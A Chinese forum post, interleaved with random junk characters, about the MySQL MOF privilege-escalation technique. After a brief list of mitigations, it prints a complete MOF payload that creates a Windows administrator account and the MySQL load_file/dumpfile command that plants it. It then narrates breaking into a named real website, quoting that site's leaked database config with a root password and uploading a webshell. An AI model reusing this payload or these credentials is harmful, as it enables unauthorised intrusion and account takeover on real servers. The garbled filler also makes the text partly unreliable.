Mysql mof扩展漏洞防范方法; [) L. w) C8 L; w6 g. O3 Y2 m, W9 o2 G
) O; H0 C1 d; D+ M) x0 e! Q
网上公开的一些利用代码:
( e. {' Y3 _* i+ A, g1 Q' t4 U* Q8 ?( k" J2 ~$ b7 ^8 l! K5 M6 y
#pragma namespace(“\\\\.\\root\\subscription”)
6 K* ]7 |! e) w% l; J
$ c: z! a" ^. rinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
! O& k& r& j5 K7 y( R
8 u$ g9 E( k ?& b ( T; p% L6 ?, T" p; q& D# a
8 n2 w! U3 ~$ ?" Y, m ( i* A& G) V {' s
! _# p, } ~8 t1 J5 R6 m5 P连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
( |5 f1 s' v, q4 M, H! b/ r从上面代码来看得出解决办法:; o7 R# p, W! k" C
: D( R! R2 J# K
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
3 ~2 K6 \2 k1 @# X& F! r
/ S5 U4 J" R% x% B$ d: e! z2、禁止使用”WScript.Shel”组件
: x6 V9 _- t+ ^" D/ G. k( L! e8 v6 ?' x
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
+ g Y9 i* G( @! e( x
* j( T' w6 F5 m当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. a" e7 u" p: S" P
3 N y9 R, E& T' Q事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
; ?1 h7 e$ c. x. B/ u+ _, t4 b8 u; b7 X
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
8 t1 y; D2 ^. [- {) B9 b& B
, ~8 a& \' N+ k, c0 |5 b看懂了后就开始练手吧
( I1 d1 F9 h4 d! r5 `% E) L0 _% m- c, J1 O! j
http://www.webbmw.com/config/config_ucenter.php 一句话 a
6 B U9 S Z* u) y
: T& D$ A/ b3 J& i9 ~$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。0 x" R- f( U, o9 ?1 \$ d. D
! ?0 J+ C- P; a% a" y9 e
于是直接用菜刀开搞
' ~: t6 F, Q: o5 H
) B3 Z' Z a6 g: b% M6 N上马先7 B1 R% Z3 K5 H+ t1 B/ }
9 v& U8 g! \7 w6 J既然有了那些账号 之类的 于是我们就执行吧…….
& h# s' `! ~6 r+ c# m
4 {: o' Q6 {7 F0 I% Y7 i8 e1 v, M) l小小的说下. C( ?& B4 x7 O1 K/ I8 k
" j( n$ e, j0 s0 O. Z" ?4 u在这里第1次执行未成功 原因未知
2 T' U3 [3 \6 {$ Q0 u N$ L' I7 ]1 H( x l" T
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
& @ B8 L8 I+ v- o
+ W. J( s C" L c t. n+ g# H#pragma namespace(“\\\\.\\root\\subscription”)6 r# K% e: _9 Z# {& W* z
1 T* p" h+ w* U6 e! c6 ^2 w$ [' \
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };7 I, {( v3 D4 v8 K( |* H
4 |: k/ Z+ ?: F1 }
我是将文件放到C:\WINDOWS\temp\1.mof! m" w/ n" L5 s) ~
: N2 h# ]) m* o3 G所以我们就改下执行的代码
, x, y4 H- c5 m- {5 P! Q* l: c2 C q! d( t& Q3 f( w6 a. m
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;7 w* E d1 _% I; y" L* ?( N
: b; }* L t- P0 Q. Q- h
3 D* ]: O/ V* @8 s- Y! Y
8 u' w- ^! ^. K& p& I4 s$ b1 ]7 p% S0 m但是 你会发现账号还是没有躺在那里。。0 W b7 e! M2 D" l" d2 N$ Y8 p
# d# P/ F9 G& b8 X# b( i0 q9 Z于是我就感觉蛋疼" R! Y5 P, V+ y; x
) |# J0 F. f0 b* q% @+ D$ N就去一个一个去执行 但是执行到第2个 mysql时就成功了………; |7 U4 I7 }# M; m- f7 W* J# \9 W1 m
$ d6 o/ y+ X; L# T$ d( E6 R
) Z( Z9 Q3 c) H% M: E7 T+ Q
- H; O# |7 Y% N0 P3 F5 k但是其他库均不成功…7 |( W, K* k8 {. { ]
* f: o8 K+ u$ I/ o7 S1 Z3 J+ z我就很费解呀 到底为什么不成功求大牛解答…( K8 a. A9 M9 g2 [5 O
4 ~. o3 G- a7 g. W: ^6 f) f# Q
5 T$ P# D5 e0 |& @% u) X9 _
& F- W, X1 @+ e s& J9 w7 l& T |